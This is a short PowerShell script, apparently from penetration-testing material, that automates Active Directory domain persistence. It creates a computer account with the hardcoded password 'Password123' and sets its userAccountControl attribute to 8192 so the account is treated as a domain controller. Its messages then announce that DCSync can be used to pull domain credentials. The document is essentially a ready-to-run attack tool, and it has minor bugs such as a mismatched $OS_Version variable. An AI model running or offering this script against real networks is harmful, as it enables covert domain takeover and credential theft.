PowerShell script to automate domain persistence via the userAccountControl active directory attribute.

userAccountControl.ps1

function Execute-userAccountControl
{
[CmdletBinding()]
        param
        (
                [System.String]$DomainFQDN = $ENV:USERDNSDOMAIN,
                [System.String]$ComputerName = 'Pentestlab',
                [System.String]$OSVersion = '10.0 (18363)',
                [System.String]$OS = 'Windows 10 Enterprise',
                [System.String]$DNSName = "$ComputerName.$DomainFQDN",
$MachineAccount = 'Pentestlab'
        )
$secureString = convertto-securestring "Password123" -asplaintext -force
$VerbosePreference = "Continue"
 
Write-Verbose -Message "Creating Computer Account: $ComputerName"
New-ADComputer $ComputerName -AccountPassword $securestring -Enabled $true -OperatingSystem $OS -OperatingSystemVersion $OS_Version -DNSHostName
$DNSName -ErrorAction Stop;
Write-Verbose -Message "$ComputerName created!"
Write-Verbose -Message "Attempting to establish persistence."
Write-Verbose -Message "Changing the userAccountControl attribute of $MachineAccount computer to 8192."
Set-ADComputer $MachineAccount -replace @{ "userAccountcontrol" = 8192 };
Write-Verbose -Message "$MachineAccount is now a Domain Controller!"
Write-Verbose -Message "Domain persistence established!You can now use the DCSync technique with Pentestlab credentials."
$VerbosePreference = "Continue"
}